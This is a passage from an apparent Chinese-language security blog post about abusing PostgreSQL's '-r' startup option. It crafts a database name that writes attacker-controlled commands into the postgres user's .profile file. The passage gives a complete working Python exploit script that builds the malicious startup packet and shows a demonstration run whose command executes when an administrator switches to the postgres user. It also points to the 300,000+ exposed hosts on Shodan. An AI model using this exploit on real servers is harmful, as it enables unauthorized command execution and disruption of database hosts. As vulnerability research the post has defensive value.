除了使用web脚本外,如果我们用默认安装目录下对postgres用户来说具有可写权限的脚本会有什么样的结果呢(以Ubuntu为例)?经过一番搜寻,符合条件的脚本不多,我决定用~postgres/(Ubuntu的/var/lib/postgres)目录下的.profile文件作为突破口。
首先再回顾一下"-r"选项的日志输出格式:
2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test123", database "-rtest.out", SSL on 2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test123", database "-rtest.out", SSL off因此,想要将有用的信息注入到.profile文件中,我们需要先写一个双引号("),后跟一个换行符(0x0a),再跟我们想要注入的命令,最后在写上一个哈希符(#)将其余的信息注释掉。
但是,psql命令行工具貌似无法正确处理像换行符之类的特殊字符。因此,看来我们得自己编写个简易的客户端,其协议已经定义在了PostgreSQL文档中,或者用更简便的方法,由于Wireshark自带pgsql的解析器,我们只要抓个包就可看到其协议了。
运行下面的命令并抓包:
psql –username=”AAAAAAAAAAAAAAAAAAAAAAAAAA” –host=192.168.2.22 –dbname=”-BBBBBBBBBBBBBBBB”
由此我们可以看出posgres协议有以下组成部分:
一个4字节的big-endian长度的字段(包括自身的大小)
一个魔数(0×00, 0×03, 0×00, 0×00)
由空字节(Null bytes)分隔的几个命令
用户(user)
<输入的用户名>
数据库(database)
<输入的数据库名>
程序名(application_name)
<输入的程序名>
客户端编码及值(client_encoding & value,我们忽略此项)
空字节(null byte)结尾
我们用Python编程构造一个请求:
import socket
import sys
import struct
HOST="192.168.1.100"
PORT=5432
buf = "\x00\x03\x00\x00" \
"user\x00" \
"\"\x0a" + sys.argv[1] + " #\x00" \#Supplied username (Our controlled data)
"database\x00" \
"-r" + sys.argv[2] + "\x00" \#Supplied filename to write to
"application_name\x00psql_pwnie\x00\x00"
buf = struct.pack(">I", len(buf)+4) + buf
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST,PORT))
sock.send(buf)
data = sock.recv(1024)
sock.close()
print data
sys.exit(0)
程序的第一个参数是要注入的命令,第二个参数是输出文件(.profile)的位置。
x30n$ python pgsqlpwnie.py "/usr/bin/cal" /var/lib/postgresql/.profile
E�SFATALC28000Mno pg_hba.conf entry for host "192.168.1.20", user ""
/usr/bin/cal #", database "-r/var/lib/postgresql/.profile", SSL offFauth.cL483RClientAuthentication
结果:
root@ubuntu:~# su - postgres
2013-04-09: command not found
April 2013
Su Mo Tu We Th Fr Sa
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
postgres@ubuntu:~$
现在我们要做的就是等管理员运行"su – postgres"。怎么样,容易吗?shodan显示互联网上还有30多万的主机正监听者5432端口……
这次实验并不能称为一个严格的远程代码执行(RCE)攻击,但是却是一次值得称道的拒绝服务攻击。